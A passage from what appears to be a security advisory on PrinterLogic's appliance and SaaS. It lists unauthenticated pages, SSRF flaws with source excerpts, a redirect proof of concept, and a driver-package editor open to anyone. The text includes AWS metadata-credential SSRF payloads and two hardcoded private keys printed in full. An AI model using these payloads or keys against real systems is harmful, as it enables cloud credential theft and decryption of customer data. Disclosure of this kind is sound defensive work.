101         $user_dao->allow_write();
102         if (!$user_dao->save($user_vo)) {
103             respond_failure("Unable to update user information");
104             die();
105         }
106
107         try {
108             GLOBALS::$login->adminVerifyLogin($root_user, $root_password);
109         } catch (Exception $e) {
110             respond_failure($e->getMessage());
111             die();
112         }
[/code]

This file appears to be used during the installation of the appliance. Using 
default password does not respect the California SB-327 regulation.

During the installation process, an attacker can reach the web interface used, 
specify any new credential and get admin privileges.



## Details - No authentication required to configure/delete printers/rfid 
devices

It was observed that the `console_release` directory contains ~ 120 PHP 
webpages that are reachable without authentication. These webpages allow an 
attacker to reconfigure printers and devices without authentication.

These vulnerable webpages are:

- - /common/cpa_helper_functions.php
- - /common/global.php
- - /common/new_user_process.php
- - /common/rfid_check.php
- - /common/validate_user.php
- - /common/validate_user_class.php
- - /common/write_file.php
- - /fast_release/badge_info.php
- - /fast_release/badge_init.php
- - /fast_release/badge_register_process.php
- - /fast_release/global.php
- - /fast_release/register_badge_new.php
- - /global.php
- - /hp/AccessoriesCallbackHandler_0.php
- - /hp/auth_soap_server_0.php
- - /hp/autho_soap_server_0.php
- - /hp/badgeDelete.php
- - /hp/badgeSetup.php
- - /hp/badge_types.php
- - /hp/console.php
- - /hp/global.php
- - /hp/hp_soap_helper.php
- - /hp/index.php
- - /hp/installApp.php
- - /hp/install_popup.php
- - /hp/install_popup_load.php
- - /hp/install_popup_load2.php
- - /hp/install_popup_page_1.php
- - /hp/log_off_single_sign_on.php
- - /hp/new_user_process.php
- - /hp/popup_wide_spinner.php
- - /hp/registerNewUser.php
- - /hp/removeApp.php
- - /hp/remove_app_quick.php
- - /hp/rfid_check.php
- - /hp/setupBadgeReaderFailed1.php
- - /hp/setupBadgeReaderFailed2.php
- - /hp/setupBadgeReaderStep1.php
- - /hp/setupBadgeReaderStep2.php
- - /hp/shutdownBadgeReader.php
- - /hp/single_sign_on_login.php
- - /hp/single_sign_on_process.php
- - /hp/single_sign_on_quick_check.php
- - /hp/writeFile.php
- - /km/OpenApi.php
- - /km/badge_message.php
- - /km/badge_utils.php
- - /km/console.php
- - /km/filecache.php
- - /km/global.php
- - /km/index.php
- - /km/install_app.php
- - /km/konicaminolta_soap_helper.php
- - /km/login.php
- - /km/prep_solution.php
- - /km/remove_app.php
- - /lexmark/dellCheck.php
- - /lexmark/global.php
- - /lexmark/installApp.php
- - /lexmark/installCheck.php
- - /lexmark/installSettings.php
- - /lexmark/removeApp.php
- - /lexmark/update.php
- - /ricoh/global.php
- - /ricoh/install_app.php
- - /ricoh/processing_check.php
- - /ricoh/remove_app.php
- - /ricoh/ricoh_result.php
- - /ricoh/ricoh_state.php
- - /samsung/card_reader.php
- - /samsung/console.php
- - /samsung/download_ipar.php
- - /samsung/get_device_info.php
- - /samsung/global.php
- - /samsung/index.php
- - /samsung/install_app.php
- - /samsung/list_apps.php
- - /samsung/oauth_example.php
- - /samsung/registerNewUser.php
- - /samsung/remove_app.php
- - /samsung/samsung_rest_helper.php
- - /samsung/soap_server_0.php
- - /toshiba/change_screens.php
- - /toshiba/console.php
- - /toshiba/error_check.php
- - /toshiba/get_log.php
- - /toshiba/global.php
- - /toshiba/index.php
- - /toshiba/install_app.php
- - /toshiba/install_popup.php
- - /toshiba/login.php
- - /toshiba/login_mds.php
- - /toshiba/logout_mds.php
- - /toshiba/logout_token.php
- - /toshiba/mds_helper.php
- - /toshiba/register.php
- - /toshiba/registerNewUser.php
- - /toshiba/remove_app.php
- - /toshiba/renew_user_event.php
- - /toshiba/soap_server.php
- - /toshiba/soap_server_0.php
- - /toshiba/toshiba_logged_in.php
- - /toshiba/toshiba_soap_helper.php
- - /xerox/SendCardDataDeviceClient.php
- - /xerox/auth_login.php
- - /xerox/checkPrinter.php
- - /xerox/console.php
- - /xerox/global.php
- - /xerox/index.php
- - /xerox/index2.php
- - /xerox/index_old.php
- - /xerox/installApp.php
- - /xerox/registerNewUser.php
- - /xerox/removeApp.php
- - /xerox/rfid_check.php
- - /xerox/setupBadgeReader.php
- - /xerox/test.php
- - /xerox/xerox_auth_soap_server_0.php
- - /xerox/xerox_session.php
- - /xerox/xerox_soap_helper.php

An attacker can interact with printers without authentication.



## Details - 11 SSRF vulnerabilities in the console_release directory

It was observed that the `console_release` directory contains PHP webpages with 
insecure PHP code containing SSRF vulnerabilities. The `console_release 
directory` is directly reachable from the network/Internet without 
authentication.

- From the analysis of the source codes, it appears that the `$url` variable 
(used to store the IP or hostname of a printer) is verified in some files to be 
sure that SSRF vulnerabilities cannot be exploited when an admin defines a 
malicious hostname for a printer. For example, the `filter_var()` function is 
used to confirm that a remote printer IP is either a domain name or an IP 
(nullifying any printer whose hostname contains malicious data allowing SSRF 
vulnerabilities):

Presence of the `filter_var` function with 
`FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME`:

    kali% rgrep -n FILTER_VALIDATE_DOMAIN      
    toshiba/toshiba_soap_helper.php:125:    $url = filter_var($url, 
FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
    lexmark/update.php:185:            $local_url = 
filter_var($this_vo->str_host_address, 
FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
    lexmark/update.php:290:        $local_url = 
filter_var($this_vo->str_host_address, 
FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
    lexmark/installSettings.php:108:        $local_url = 
filter_var($printer_vo->str_host_address, 
FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
    lexmark/installApp.php:40:$local_url = 
filter_var($printer_vo->str_host_address, 
FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
    km/konicaminolta_soap_helper.php:113:        $local_ip = 
filter_var($this->host_ip, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
    km/konicaminolta_soap_helper.php:191:        $local_ip = 
filter_var($this->host_ip, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
    km/konicaminolta_soap_helper.php:263:           $local_ip = 
filter_var($this->host_ip, FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
    xerox/installApp.php:68:    $local_url = 
filter_var($printer_vo->str_host_address, 
FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
    xerox/xerox_soap_helper.php:52:    $url = filter_var($url, 
FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
    xerox/xerox_soap_helper.php:148:    $url = filter_var($url, 
FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
    xerox/xerox_soap_helper.php:219:    $url = filter_var($url, 
FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
    xerox/xerox_soap_helper.php:317:    $url = filter_var($url, 
FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
    xerox/removeApp.php:51:        $local_url = 
filter_var($printer_vo->str_host_address, 
FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
    xerox/xerox_auth_soap_server_0.php:661:        $local_url = 
filter_var($printer_vo->str_host_address, 
FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
    samsung/list_apps.php:28:  $local_url = 
filter_var($printer_vo->str_host_address, 
FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
    samsung/list_apps.php:59:    $local_url = 
filter_var($printer_vo->str_host_address, 
FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
    samsung/remove_app.php:29:    $local_url = 
filter_var($printer_vo->str_host_address, 
FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
    samsung/remove_app.php:55:    $local_url = 
filter_var($printer_vo->str_host_address, 
FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
    samsung/remove_app.php:94:      $local_url = 
filter_var($printer_vo->str_host_address, 
FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
    samsung/samsung_rest_helper.php:21:  $url = filter_var($url, 
FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
    samsung/get_device_info.php:35:  $local_url = 
filter_var($printer_vo->str_host_address, 
FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);

Unfortunately, theses checks are extremely incomplete since:

- - Curl is also insecurely used (without these checks) in some files; and
- - The function `file_get_contents()` is used to send HTTP/HTTPS requests to 
remote printer without any verification.

We can find 419 calls to curl. If one of these calls is vulnerable to a SSRF 
vulnerability, then the SaaS solution can likely be compromised:

    kali$ rgrep -c curl .
    419      
    kali$ rgrep curl .
    ./toshiba/toshiba_soap_helper.php:    $ch = curl_init();
    ./toshiba/toshiba_soap_helper.php:    curl_setopt($ch, CURLOPT_HTTPHEADER, 
$headers);
    ./toshiba/toshiba_soap_helper.php:    curl_setopt($ch, CURLOPT_URL, 
$XRX_URL);
    ./toshiba/toshiba_soap_helper.php:    curl_setopt($ch, CURLOPT_POST, true);
    ./toshiba/toshiba_soap_helper.php:    curl_setopt($ch, CURLOPT_POSTFIELDS, 
$FULL_XRX);
    ./toshiba/toshiba_soap_helper.php:    curl_setopt($ch, 
CURLOPT_RETURNTRANSFER, 1);
    ./toshiba/toshiba_soap_helper.php:    curl_setopt($ch, 
CURLOPT_SSL_VERIFYHOST, false);
    ./toshiba/toshiba_soap_helper.php:    curl_setopt($ch, 
CURLOPT_SSL_VERIFYPEER, false);
    ./toshiba/toshiba_soap_helper.php:    curl_setopt($ch, CURLOPT_SSLVERSION, 
CURL_SSLVERSION_SSLv3);
    ./toshiba/toshiba_soap_helper.php:        $response = curl_exec($ch);
    ./toshiba/toshiba_soap_helper.php:        $error = curl_error($ch);
    ./toshiba/toshiba_soap_helper.php:        curl_close($ch);
    ./toshiba/toshiba_soap_helper.php:    $ch = curl_init();
    ./toshiba/toshiba_soap_helper.php:    curl_setopt($ch, CURLOPT_URL, 
$XRX_URL);
    ./toshiba/toshiba_soap_helper.php:    curl_setopt($ch, 
CURLOPT_RETURNTRANSFER, 1);
    ./toshiba/toshiba_soap_helper.php:    curl_setopt($ch, CURLOPT_MAXREDIRS, 
10);
    ./toshiba/toshiba_soap_helper.php:    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    ./toshiba/toshiba_soap_helper.php:    curl_setopt($ch, 
CURLOPT_CUSTOMREQUEST, "POST");
    ./toshiba/toshiba_soap_helper.php:    curl_setopt($ch, CURLOPT_POST, true);
    ./toshiba/toshiba_soap_helper.php:    curl_setopt($ch, CURLOPT_POSTFIELDS, 
$post_data);
    ./toshiba/toshiba_soap_helper.php:    curl_setopt($ch, 
CURLOPT_SSL_VERIFYHOST, false);
    ./toshiba/toshiba_soap_helper.php:    curl_setopt($ch, 
CURLOPT_SSL_VERIFYPEER, false);
    ./toshiba/toshiba_soap_helper.php:    curl_setopt($ch, CURLOPT_HTTPHEADER, [
    ./toshiba/toshiba_soap_helper.php:        $response = curl_exec($ch);
    ./toshiba/toshiba_soap_helper.php:        $error = curl_error($ch);
    ./toshiba/toshiba_soap_helper.php:        curl_close($ch);
    ./lexmark/update.php:            $ch = curl_init();
    ./lexmark/update.php:            curl_setopt($ch, CURLOPT_URL, 'ftp://' . 
$local_url . '/printerlogic.fls');
    ./lexmark/update.php:            curl_setopt($ch, CURLOPT_USERPWD, 
$username . ":" . $password);
    ./lexmark/update.php:            curl_setopt($ch, CURLOPT_UPLOAD, true);
    ./lexmark/update.php:            curl_setopt($ch, CURLOPT_BINARYTRANSFER, 
true);
    ./lexmark/update.php:            curl_setopt($ch, CURLOPT_INFILE, $fp);
    ./lexmark/update.php:            curl_setopt($ch, CURLOPT_INFILESIZE, 
filesize(ABSPATH . 'console_release/lexmark/printerlogic.fls'));
    ./lexmark/update.php:            curl_exec($ch);
    ./lexmark/update.php:            $error_no = curl_error($ch);
    ./lexmark/update.php:            curl_close($ch);
    ./lexmark/update.php:        $ch = curl_init();
    ./lexmark/update.php:        curl_setopt($ch, CURLOPT_URL, 'ftp://' . 
$local_url . '/printerlogic.ucf');
    ./lexmark/update.php:        curl_setopt($ch, CURLOPT_UPLOAD, true);
    ./lexmark/update.php:        curl_setopt($ch, CURLOPT_INFILE, $temp_file);
    ./lexmark/update.php:        curl_setopt($ch, CURLOPT_INFILESIZE, 
mb_strlen($content, '8bit'));
    ./lexmark/update.php:        curl_exec($ch);
    [...]

For example, we can find several SSRF vulnerabilities.

The following list is not exhaustive and the audited files were randomly chosen.

### Details - 4 SSRF vulnerabilities in 
/var/www/app/console_release/lexmark/update.php

The `$url` and `$new_url` variables are attacker-controlled and the output of 
the `file_get_contents()` function will be displayed to the attacker. An 
attacker can use:

- - A malicious hostname for a printer (e.g. 
`169.254.169.254/latest/meta-data/iam/security-credentials/?`), to display the 
AWS security credentials;
- - A legit hostname, the remote webserver will provide a 301 redirect to 
`http://169.254.169.254/latest/meta-data/iam/security-credentials`, since the 
`file_get_contents()` function will follow any HTTP redirect:

Content of `/var/www/app/console_release/lexmark/update.php`:

[code:php]
  1 <?php
[...]
209                 $url = "http://"; . $this_vo->str_host_address . 
"/cgi-bin/direct/printer/prtappse/semenu?page=bundles";

215                     $new_url = "http://"; . $this_vo->str_host_address . 
"/esf/prtappse/semenu?page=bundles";

223                         $contents = file_get_contents($new_url);      // 
[1] SSRF #1

228                             $contents = file_get_contents($new_url);  // 
[2] SSRF #2


234                     $contents = file_get_contents($url);              // 
[3] SSRF #3

239                         $contents = file_get_contents($url);          // 
[4] SSRF #4

247             return $contents;                                         // 
[5] display of the output of the SSRF
[/code]



### Details - 1 blind SSRF vulnerability in 
/var/www/app/console_release/hp/installApp.php

This file is reachable without authentication and contains a blind SSRF 
vulnerability. The `$printer_vo->str_host_address` is controlled by any admin:

Content of `/var/www/app/console_release/hp/installApp.php`:

[code:php]
  1 <?php
[...]
 25 function curl_get_contents($url)
 26 {
 27     $ch = curl_init();
 28
 29     curl_setopt($ch, CURLOPT_HEADER, 0);
 30     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 31     curl_setopt($ch, CURLOPT_URL, $url);
 32
 33     $data = curl_exec($ch);
 34     curl_close($ch);
 35
 36     return $data;
 37 }
[...]
 73         $filePath = "http://"; . $printer_vo->str_host_address . 
":80/DevMgmt/DiscoveryTree.xml";
 74         // @file_get_contents was not working on the new HP but this works 
on all of them.
 75         $file = curl_get_contents($filePath); // [1] SSRF #1
[/code]



### Details - 2 blind SSRF vulnerabilities in 
/var/www/app/console_release/hp/log_off_single_sign_on.php

2 SSRF vulnerabilities on lines 37 and 128 in 
`/var/www/app/console_release/hp/log_off_single_sign_on.php`:

[code:php]
  1 <?php
[...]
 27     $IP_ADDR = $printer_vo->str_host_address;

 37         $file = @file_get_contents($h_tag . $IP_ADDR . 
":80/DevMgmt/DiscoveryTree.xml");             // [1] SSRF #1

123     $sendUrl = $XRX_URL . $Authentication['ResourceURI'];
128     $response_reserve = processCurl($XRX_SCHEMA, $XRX_TO, $XRX_BODY, 
$sendUrl, false, "guest", "");  // [2] SSRF #2
[/code]

The function `file_get_contents()` will follow any HTTP redirect.

`$sendURL` comes from `$XRX_URL` (line 123) that comes from `$IP_ADDR` 
(`console_release/hp/hp_soap_helper.php`) coming from the hostname of the 
printer, which is an attacker-controlled value. With the `processCurl()` 
function implemented in `/var/www/app/console_release/hp/hp_soap_helper.php`, 
without any check regarding the validity of the remote URL (defined in 
`$sendUrl`):

Content of `/var/www/app/console_release/hp/log_off_single_sign_on.php` with 
`processCurl()`:

[code:php]
  1 <?php
[...]
 47         function processCurl($XRX_SCHEMA, $XRX_TO, $this_XRX_BODY, 
$sendUrl, $showXML, $XRX_USERNAME, $XRX_PASSWORD)
 48         {
 49                 $XRX_SOAPSTART = '<s:Envelope
 50          xmlns:s="http://www.w3.org/2003/05/soap-envelope";
 51                  xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing";>
 52          <s:Header>
 53                  <a:Action s:mustUnderstand="1">';
 54                 $XRX_ADDRESS = 
'http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous';
 55                 $XRX_MESSAGE = "<a:MessageID>urn:uuid:" . $this->getGUID() 
. "</a:MessageID>";
 56                 $XRX_SOAPEND = '</s:Envelope>';
 57                 $XRX_REPLY_TO = "<a:ReplyTo><a:Address>" . $XRX_ADDRESS . 
"</a:Address></a:ReplyTo>";
 58                 $XRX_BODY = $this_XRX_BODY . '</s:Body>';
 59                 $sendReq = $XRX_SOAPSTART . $XRX_SCHEMA . "</a:Action>" . 
$XRX_MESSAGE . $XRX_REPLY_TO . $XRX_TO . '</s:Header>' . $XRX_BODY . 
$XRX_SOAPEND;
 60
 61                 $headers = array(
 62                         "Content-Type: application/soap_xml; charset=utf-8",
 63                         "SOAPAction: \"\"",
 64                 );
 65                 $ch = curl_init();
 66                 curl_setopt($ch, CURLOPT_URL, $sendUrl);
 67                 curl_setopt($ch, CURLOPT_USERPWD, $XRX_USERNAME . ":" . 
$XRX_PASSWORD);
 68                 curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
 69                 curl_setopt($ch, CURLOPT_POST, true);
 70                 curl_setopt($ch, CURLOPT_POSTFIELDS, $sendReq);
 71                 curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
 72                 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 73                 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
 74                 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
 75                 curl_setopt($ch, CURLOPT_TIMEOUT, 30);
 76                 $response = "";
 77                 try {
 78                         $response = curl_exec($ch);
 79                         $error = curl_error($ch);
 80                         if ($error != "") {
 81                 echo "\nerror = " . $error . "\n";
 82                 Log::error('hp_soap_helper error: ' . $error);
 83             }
 84                         curl_close($ch);
 85                 } catch (Exception $ex) {
 86                         echo "\nFail = " . $ex->getMessage();
 87             Log::error('hp_soap_helper exception: ' . $ex->getMessage());
 88                 }
 89                 return $response;
 90         }   
[/code]



### Details - 2 SSRF vulnerabilities in 
/var/www/app/console_release/hp/badgeSetup.php

The first SSRF is located on line 96. The `$IP_ADDR` corresponds to the 
attacker-controlled hostname of the remote printer. For example, by defining 
`169.254.169.254/latest/meta-data/iam/security-credentials/?`, the resulting 
URL will be: 
`http://169.254.169.254/latest/meta-data/iam/security-credentials/?/DevMgmt/DiscoveryTree.xml`
 corresponding to 
`http://169.254.169.254/latest/meta-data/iam/security-credentials` used by AWS 
to display security credentials.

The second SSRF is located on line 219 using the insecure function 
`processCurl()` with the answer being printed on line 224:

Content of `/var/www/app/console_release/hp/badgeSetup.php`:

[code:php]
  1 <?php
[...]
 96         $file = @file_get_contents( $h_tag . $IP_ADDR . 
"/DevMgmt/DiscoveryTree.xml", false, stream_context_create( 
$arrContextOperations )); // ## SSRF #1
 97         $doc = new DOMDocument();
 98 
 99         if( $file != "" )
100         {
101                 $doc->loadXML( $file );
102                 $xpath = new DOMXPath( $doc );
103                 $nodes = $doc->getElementsByTagName('*');
104                 $features = array();                                        
                                                                                
                                    
105
[...]
219 $response =  processCurl( $XRX_SCHEMA, $XRX_TO, $XRX_BODY, $sendUrl, false, 
$XRX_USERNAME, $XRX_PASSWORD );                                   // # SSRF #2
220 if( GLOBALS::$CONSOLE_RELEASE_TESTING == 1 )
221 {               
222         \Storage::disk('cache')->append("hp/badge_setup_1.txt", "\r\n\r\n" 
. $response );
223 }               
224 echo "\n\n" . $response;    
[/code]

A similar vulnerability is present in several files (e.g. 
`console_release/hp/log_off_single_sign_on.php:37`, 
`./console_release/hp/install_popup_load.php:137`, ...).



### Details - 2 blind SSRF vulnerabilities in 
/var/www/app/console_release/lexmark/dellCheck.php

Lines 20 and 24: the `$printer_vo->str_host_address` variable is controlled by 
an attacker and is used without any filtering:

Content of `/var/www/app/console_release/lexmark/dellCheck.php`:

[code:php]
  1 <?php
  2 require_once( "global.php" );
  3 require_once(ABSPATH."lib/dao/dbopen.php");
  4 require_once( ABSPATH . "lib/dao/printer_dao.php" );
  5 
  6 $printer_dao = new printer_dao();
  7 $printer_vo = new printer_vo();
  8 $printer_vo->id = requestint( 'printer_id', 0 );
  9 $printer_dao->load( $printer_vo );
 10 
 11 $url = "http://"; . $printer_vo->str_host_address . 
"/cgi-bin/direct/printer/prtappse/semenu?page=bundles";
 12 $url_headers = @get_headers($url);
 13 if(!$url_headers || strpos($url_headers[0], '200') === false)
 14 {
 15     $new_url = "http://"; . $printer_vo->str_host_address . 
"/esf/prtappse/semenu?page=bundles";
 16     $new_url_headers = @get_headers($new_url);
 17     if(!$new_url_headers || strpos($new_url_headers[0], '200') === false)
 18         $contents = "";
 19     else
 20         $contents = file_get_contents($new_url); // SSRF #1
 21 }
 22 else
 23 {
 24     $contents = file_get_contents($url);         // SSRF #2
 25 }
 26 
 27 if(mb_stripos($contents, 'Bundle ID')){
 28         echo 'Lexmark';
 29 }   
[/code]

An attacker with admin privileges in a tenant instance can likely compromise 
the SaaS infrastructure by reaching AWS metadata services and retrieve 
credentials corresponding to the cloud infrastructure.

Only an incomplete analysis was done due to the quantity of code.

It is recommended not to use the SaaS version and to not host the VA version in 
the cloud.



## Details - Insecure use of file_get_contents() allowing to bypass security 
checks

It was observed that the `console_release` directory contains PHP webpages with 
insecure code containing SSRF vulnerabilities.

The `file_get_contents()` function is used to retrieve http/https content. 
Unfortunately, this function will follow any redirection and is completely 
insecure when the remote server is controlled by an attacker.

For example:

    kali% cat /var/www/html/redirect.php
    <?php
    header("Location: http://www.google.com/";);
    ?>

When this file is retrieved over HTTP, the result from the 
`file_get_contents()` function will contain the content of the www.google.com 
webpage. The `file_get_contents()` function followed transparently the 
redirection to www.google.com:

    kali% cat 1.php
    <?php
    
    $url = "http://10.105.0.235/redirect.php";;
    $contents = file_get_contents($url); 
    print $contents;        
    
    kali% php 1.php | head -n 10 | less
    <!doctype html><html itemscope="" itemtype="http://schema.org/WebPage"; 
lang="en-PH"><head><meta content="text/html; charset=UTF-8" 
http-equiv="Content-Type"><meta 
content="/images/branding/googleg/1x/googleg_standard_color_128dp.png" 
itemprop="image"><title>Google</title><script 
nonce="Y_AX2yiBXdblaOhbrR-Fig">(function(){var _g={kEI:'2DWdZfa3BpqWvr0P2bSamA4
    [CONTENT-OF-GOOGLE.COM-WEBSITE]

An attacker with admin privileges can specify a malicious printer hostname 
corresponding to an attacker-controlled webserver/website. The PHP code 
implemented in PrinterLogic running in the VA version and in AWS in the SaaS 
version will follow the 301 redirection to 
`http://169.254.169.254/latest/meta-data/iam/security-credentials` used by AWS 
to display security credentials.

There are 272 calls to the `file_get_contents()` function in the 
`printerlogic/pi` Docker instance:

    root@printerlogic:/home/debug# docker ps|grep printerlogic/pi
    799ce8d8de5c   printerlogic/pi:5.0.8085-p2               
"/var/www/app/.docke"   2 minutes ago    Up 2 minutes              80/tcp       
                                                                     
printercloud_worker-pi-reports.1.gdbu4ya992n9s33h6c3cf4qn0
    root@printerlogic:/home/debug# docker exec -it 799ce8d8de5c bash
    root@799ce8d8de5c:/var/www/app# rgrep file_get_content . | wc -l
    272

Some of these calls are insecure as shown previously.

An attacker with admin privileges in a tenant instance can likely compromise 
the SaaS infrastructure by reaching metadata services and retrieve credentials 
corresponding to the cloud infrastructure.

Only an incomplete analysis was done due to the quantity of code.

It is recommended not to use the SaaS version and to not host the VA version in 
the cloud.



## Details - Hardcoded keys used to encrypt information - insecure encryption

It was observed that 2 hardcoded private keys can be found in the VA solution. 
These hardcoded keys are used to securely encrypt/decrypt data in the:

- - SaaS version;
- - VA version.

Since these keys are hardcoded, the encryption mechanism is insecure because 
these private keys are known.

These keys can be found in several Docker instances:

- - printerlogic/pi
- - printerlogic/printer-admin-api

Hardcoded keys inside the printercloud/pi Docker instance

    printerlogic# docker exec -it 45901b1a9528 ls -la /var/www/app/config/    
    total 256 
    drwxrwxr-x 2 www-data www-data   4096 Oct 24 18:44 .
    drwxr-xr-x 1 root     root       4096 Nov  7 22:25 ..
    -rw-rw-r-- 1 www-data www-data 215556 Oct 24 18:43 cacert.pem
    -rw-rw-r-- 1 www-data www-data   1122 Oct 24 18:43 driver-blacklist.yaml
    -rw-rw-r-- 1 www-data www-data    243 Oct 24 18:43 keyfile.ppk.dev
    -rw-rw-r-- 1 www-data www-data    128 Oct 24 18:43 keyfile.saasid.ppk.dev
    -rw-rw-r-- 1 www-data www-data    599 Oct 24 18:43 _ldapoverrides.php
    -rw-rw-r-- 1 www-data www-data    152 Oct 24 18:43 opcache-blacklist.txt
    -rw-rw-r-- 1 www-data www-data   1496 Oct 24 18:44 settings.php
    -rw-rw-r-- 1 www-data www-data   1496 Oct 24 18:43 settings.php.local
    -rw-rw-r-- 1 www-data www-data   1612 Oct 24 18:43 snmp_defaults.php
    printerlogic# docker exec -it 45901b1a9528 cat 
/var/www/app/config/keyfile.ppk.dev
    AAAAQQCYYU9zyn9V2Dem6kIA6SU9dZnqiZDM63WcP3ZDwnDY7nXwwlohdh6fE6jb
    SRJ+DS2NEO+/9Idz4OW81fbTFxM9AAAAIQD4M/r+iMrKSA30cU2HwS7nerDpd0Ma
    svm5b9NJVS1WuQAAACEAsDerrSCtAViPXFfHRcof1md1y68GjW94gXgGnkC7ntcA
    AAAgaDv/Z7gPchc/hFUB4nI5NZ/QBqbom4Y7TBrbkxRLSuo=
    printerlogic# docker exec -it 45901b1a9528 cat 
/var/www/app/config/keyfile.saasid.ppk.dev
    
QypO2ShAW3V=pHtiBI8C1Lyj0/Unchb37JDqG8ZfvNX9vOMdL3QtXgr+XlvuVKN1Xq8TmBjahHLrLG+JbPlLqkEuuCsgFkt0fr3KG5u4j5=t2FZAlRyKhsLwmMDJUY3t

In the SaaS version, the `/var/www/app/config/keyfile.saasid.ppk.dev` file will 
be used to encrypt/decrypt information.

The following `getEncryptedExternalId()` and `getDecryptedExternalId()` methods 
will use the `keyfile.saasid.ppk` key by default.

Content of `/var/www/app/app/Traits/SaasIdEncryption.php` inside the 
`printercloud/pi` Docker instance:

Lines 32, 34, 59, 61, 105 and 118:

[code:php]
[...]
  3 namespace PrinterLogic\Traits;
  4 
  5 use Log;
  6 use Exception;
  7 use Throwable;
  8 
  9 /**
 10  * Knows how to encrypt and decrypt the SaasId (ExternalId). We use the
 11  * encrypted SaasId in some API calls to the Integrations Team.
 12  */
 13 trait SaasIdEncryption
 14 {
 15     use EncryptionFunctions;
 16 
 17     /**
 18      * Gets a sales force id and encrypts it for passing to the 
PrinterCloud Support site from
 19      * the My Account menu.
 20      *
 21      * @param string $external_id External SaasId that needs to be encrypted
 22      *
 23      * @return string
 24      */
 25     public function getEncryptedExternalId($external_id = null)
 26     {
 27         if (is_null($external_id)) {
 28             $external_id = $this->external_id;
 29         }
 30 
 31         try {
 32             $key = $this->getKey();                                         
                              // [1]
 33             $iv = $this->createIv($key);
 34             $encryptedId = base64_encode(openssl_encrypt($external_id, 
'AES-256-CBC', $key, false, $iv)); // [2]
 35         } catch (Throwable $e) {
 36             Log::error($e->getMessage());
 37             return '-';
 38         }
 39 
 40         Log::debug('Encrypted ID: `' . $encryptedId . '`');
 41 
 42         return $encryptedId;
 43     }
 44 
 45     /**
 46      * Returns Decrypted Id
 47      *
 48      * @param string $encrypted_id External SaasId that needs to be 
decrypted
 49      *
 50      * @return string
 51      */
 52     public function getDecryptedExternalId($encrypted_id = null)
 53     {
 54         if (is_null($encrypted_id)) {
 55             $encrypted_id = $this->external_id;
 56         }
 57 
 58         try {
 59             $key = $this->getKey();                                         
                              // [3]
 60             $iv = $this->createIv($key);
 61             $encryptedId = openssl_decrypt($encrypted_id, 'AES-256-CBC', 
$key, false, $iv);               // [4]
 62         } catch (Throwable $e) {
 63             Log::error($e->getMessage());
 64             return '-';
 65         }
 66 
 67         Log::debug('Decrypted ID: `' . $encryptedId . '`');
 68 
 69         return $encryptedId;
 70     }
[...]
 95     /**
 96      * Returns a combined key from the supplied salt and given keyfile
 97      *
 98      * @param string $keyfile Path to the keyfile
 99      *
100      * @throws Exception
101      *
102      * @return string
103      */
104     public function getKey($keyfile = null) // [5]
105     {
106         $KEYFILE_MIN_LEN = 128; //1024-bits
107 
108         /* Default */
109         if (empty($keyfile)) {
110             /*
111              * The user didn't specify one, so we try to find our default.
112              * If we can't find that, fallback to the dev version.
113              */
114             if (!defined('ABSPATH')) {
115                 define('ABSPATH', base_path() . '/');
116             }
117 
118             $keyfile = ABSPATH . 'config/keyfile.saasid.ppk'; //Default if 
we don't have one defined // [6]
119 
120             if (!file_exists($keyfile)) {
121                 //fall back to a dev version
122                 $keyfile = $keyfile . '.dev';
123             }
124         }
[/code]

The encryption mechanism is insecure. An attacker can decrypt sensitive 
information.



## Details - Unauthenticated webpage allowing to edit driver packages

It was observed that the `/var/www/app/lib/dao/driver_version_update.php` 
webpage is reachable without authentication. This webpage allows an attacker to:

- - List driver packages;
- - Get information regarding a specific driver package;
- - Change information on a specific driver package.

The PHP code will update the information stored in the MySQL server when the 
driver package is edited (lines 92 to 110).

Content of `/var/www/app/lib/dao/driver_version_update.php`:

[code:php]
[...]
 12         header('Content-Transfer-Encoding: binary');
 13     header('Content-Type: application/octet-stream');
 14 
 15   $nologin=true;
 16 require_once("global.php");
 17 require_once(ABSPATH."lib/dao/dbopen.php");
 18 
 19       $package_needs_updating="(package_type = 'NORMAL'
 20 AND (
 21 (
 22 driver_version = ''
 23 )
 24 OR (
 25 driver_version = '0.0.0.1'
 26 )
 27 )
 28 AND (
 29 (
 30 driver_date = ''
 31 )
 32 OR (
 33 driver_date = '01/02/1980'
 34 )
 35 OR (
 36 driver_date = '01/01/1980'
 37 )
 38 ))";
 39 
 40   $cmd=requeststr("command","");            // [1]
 41   if($cmd=="getlist") {                     // [2]
 42         $da=new data_access();
